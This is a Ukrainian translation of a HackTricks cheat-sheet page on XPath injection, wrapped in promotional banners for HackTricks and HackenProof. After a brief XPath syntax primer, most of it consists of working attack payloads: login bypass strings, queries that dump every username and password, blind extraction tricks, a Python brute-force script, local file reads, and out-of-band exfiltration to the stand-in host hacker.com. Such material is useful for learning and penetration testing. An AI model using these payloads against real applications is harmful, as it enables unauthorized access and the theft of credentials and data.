XPATH injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!

Інсайти Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини Хакінгу в реальному часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам в реальному часі

Останні оголошення Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Базовий синтаксис

Техніка атаки, відома як Внедрення XPath, використовується для використання додатків, які формують запити XPath (Мова шляхів XML) на основі введення користувача для запиту або навігації в XML-документах.

Опис вузлів

Вирази використовуються для вибору різних вузлів у документі XML. Ці вирази та їх описи узагальнені нижче:

  • nodename: Вибираються всі вузли з іменем "nodename".

  • /: Вибір виконується з кореневого вузла.

  • //: Вибираються вузли, що відповідають вибору з поточного вузла, незалежно від їх розташування в документі.

  • .: Вибирається поточний вузол.

  • ..: Вибирається батьківський вузол поточного вузла.

  • @: Вибираються атрибути.

Приклади XPath

Приклади виразів шляху та їх результати включають:

  • bookstore: Вибираються всі вузли з іменем "bookstore".

  • /bookstore: Вибирається кореновий елемент bookstore. Зауважте, що абсолютний шлях до елемента представлений шляхом, що починається з косої риски (/).

  • bookstore/book: Вибираються всі елементи книг, які є дітьми bookstore.

  • //book: Вибираються всі елементи книг у документі, незалежно від їх розташування.

  • bookstore//book: Вибираються всі елементи книг, які є нащадками елемента bookstore, незалежно від їх позиції під елементом bookstore.

  • //@lang: Вибираються всі атрибути з іменем lang.

Використання предикатів

Предикати використовуються для уточнення вибору:

  • /bookstore/book[1]: Вибирається перший елемент книги, який є дитиною елемента bookstore. Обхідний шлях для версій IE від 5 до 9, які індексують перший вузол як [0], полягає в установленні мови вибору на XPath через JavaScript.

  • /bookstore/book[last()]: Вибирається останній елемент книги, який є дитиною елемента bookstore.

  • /bookstore/book[last()-1]: Вибирається передостанній елемент книги, який є дитиною елемента bookstore.

  • /bookstore/book[position()<3]: Вибираються перші два елементи книг, які є дітьми елемента bookstore.

  • //title[@lang]: Вибираються всі елементи заголовків з атрибутом lang.

  • //title[@lang='en']: Вибираються всі елементи заголовків з значенням атрибута "lang" рівним "en".

  • /bookstore/book[price>35.00]: Вибираються всі елементи книг з книжкового магазину з ціною більше 35.00.

  • /bookstore/book[price>35.00]/title: Вибираються всі елементи заголовків елементів книг з книжкового магазину з ціною більше 35.00.

Обробка невідомих вузлів

Для відповідності невідомим вузлам використовуються маски:

  • *: Відповідає будь-якому елементу вузла.

  • @*: Відповідає будь-якому атрибуту вузла.

  • node(): Відповідає будь-якому вузлу будь-якого виду.

Додаткові приклади включають:

  • /bookstore/*: Вибираються всі дочірні елементи вузлів книжкового магазину.

  • //*: Вибираються всі елементи в документі.

  • //title[@*]: Вибираються всі елементи заголовків з принаймні одним атрибутом будь-якого виду.

Приклад

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Отримання інформації

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Визначення та викрадення схеми

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Аутентифікація обхід

Приклади запитів:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR обхід в користувача та пароль (одне значення в обох)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Зловживання нульовим впровадженням

Username: ' or 1]%00

Подвійний ОБО або в Імені користувача або в паролі (дійсний лише з одним вразливим полем)

ВАЖЛИВО: Зверніть увагу, що "і" - це перша виконана операція.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Видобування рядків

Вихід містить рядки, і користувач може маніпулювати значеннями для пошуку:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Сліпа експлуатація

Отримання довжини значення та його вилучення шляхом порівнянь:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Приклад на Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Прочитати файл

XPath Injection може бути використана для отримання конфіденційної інформації, такої як вміст файлів. Наприклад, використовуючи XPath Injection, можна отримати доступ до файлів на сервері, включаючи конфіденційну інформацію.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Використання OOB

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Автоматичний інструмент

Посилання

Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated